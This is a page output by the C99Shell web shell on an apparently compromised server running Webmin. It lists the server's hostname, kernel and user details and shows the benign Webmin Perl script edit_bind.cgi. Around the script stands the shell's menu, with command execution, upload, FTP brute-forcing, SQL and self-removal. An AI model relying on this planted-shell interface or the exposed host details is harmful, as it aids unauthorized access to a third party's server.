!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/webmin/   drwxr-xr-x
Free 26.02 GB of 117.98 GB (22.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit_bind.cgi (3.51 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_bind.cgi
# Display port / address form

require './webmin-lib.pl';
&ui_print_header(undef, $text{'bind_title'}, "");
&get_miniserv_config(\%miniserv);

print $text{'bind_desc'},"<p>\n";

print &ui_form_start("change_bind.cgi", "post");
print &ui_table_start($text{'bind_header'}, undef, 2, [ "width=30%" ]);

# Build list of sockets
@sockets = &get_miniserv_sockets(\%miniserv);

# Show table of all bound IPs and ports
$stable = &ui_columns_start([ $text{'bind_sip'}, $text{'bind_sport'} ]);
my $i = 0;
my @ports;
foreach my $s (@sockets, [ undef, "*" ]) {
    # IP address
    my @cols;
    push(@cols, &ui_select("ip_def_$i", $s->[0] eq "" ? 0 :
                        $s->[0] eq "*" ? 1 : 2,
                   [ [ 0, "&nbsp;" ],
                 [ 1, $text{'bind_sip1'} ],
                 [ 2, $text{'bind_sip2'} ] ])." ".
            &ui_textbox("ip_$i", $s->[0] eq "*" ? undef : $s->[0], 20));

    # Port
    push(@cols, &ui_select("port_def_$i", $s->[1] eq "*" ? 0 : 1,
                   [ $i ? ( [ 0, $text{'bind_sport0'} ] ) : ( ),
                 [ 1, $text{'bind_sport1'} ] ])." ".
            &ui_textbox("port_$i", $s->[1] eq "*" ? undef : $s->[1],5));
    $stable .= &ui_columns_row(\@cols, [ "nowrap", "nowrap" ]);
    push(@ports, $s->[1]) if ($s->[1] && $s->[1] ne "*");
    $i++;
    }
$stable .= &ui_columns_end();
if (&foreign_check("firewall")) {
    print &ui_hidden("oldports", join(" ", @ports));
    $stable .= &ui_checkbox("firewall", 1, $text{'bind_firewall'}, 1);
    }
print &ui_table_row($text{'bind_sockets'}, $stable);

# WebSocket based port
print &ui_table_row($text{'bind_websocport'},
    &ui_radio("websocket_base_port_def",
        $miniserv{"websocket_base_port"} ? 0 : 1,
    [ [ 1, $text{'bind_websocport_none'} ],
      [ 0, &ui_textbox("websocket_base_port",
          $miniserv{"websocket_base_port"}, 6) ] ]));

# Hostname for WebSocket connections
print &ui_table_row($text{'bind_websoc_host'},
    &ui_radio("websocket_host_def",
        $miniserv{"websocket_host"} ? 0 : 1,
    [ [ 1, $text{'bind_websoc_host_auto'} ],
      [ 0, &ui_textbox("websocket_host",
          $miniserv{"websocket_host"}, 25) ] ]));

# IPv6 enabled?
print &ui_table_row($text{'bind_ipv6'},
    &ui_yesno_radio("ipv6", $miniserv{'ipv6'}));

# Show UDP listen address
print &ui_table_row($text{'bind_listen'},
    &ui_radio("listen_def", $miniserv{"listen"} ? 0 : 1,
    [ [ 1, $text{'bind_none'} ],
      [ 0, &ui_textbox("listen", $miniserv{"listen"}, 6) ] ]));

# Show web server hostname
print &ui_table_row($text{'bind_hostname'},
    &ui_radio("hostname_def", $miniserv{"host"} ? 0 : 1,
    [ [ 1, $text{'bind_auto'} ],
      [ 0, &ui_textbox("hostname", $miniserv{"host"}, 25) ] ]));

# Reverse-lookup hostname
print &ui_table_row($text{'bind_resolv_myname'},
    &ui_radio("no_resolv_myname", int($miniserv{'no_resolv_myname'}),
    [ [ 0, $text{'yes'} ], [ 1, $text{'no'} ] ]));

# Max concurrent connections
print &ui_table_row($text{'bind_maxconns'},
    &ui_opt_textbox("maxconns", $miniserv{'maxconns'}, 5,
            $text{'default'}." (50)"));
print &ui_table_row($text{'bind_maxconns_per_ip'},
    &ui_opt_textbox("maxconns_per_ip", $miniserv{'maxconns_per_ip'}, 5,
            $text{'default'}." (25)"));
print &ui_table_row($text{'bind_maxconns_per_net'},
    &ui_opt_textbox("maxconns_per_net", $miniserv{'maxconns_per_net'}, 5,
            $text{'default'}." (35)"));

# Max subprocess lifetime
print &ui_table_row($text{'bind_maxlifetime'},
    &ui_opt_textbox("maxlifetime", $miniserv{'maxlifetime'}, 5,
            $text{'bind_maxlifetime_def'})." ".
    $text{'bind_maxlifetime_secs'});

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--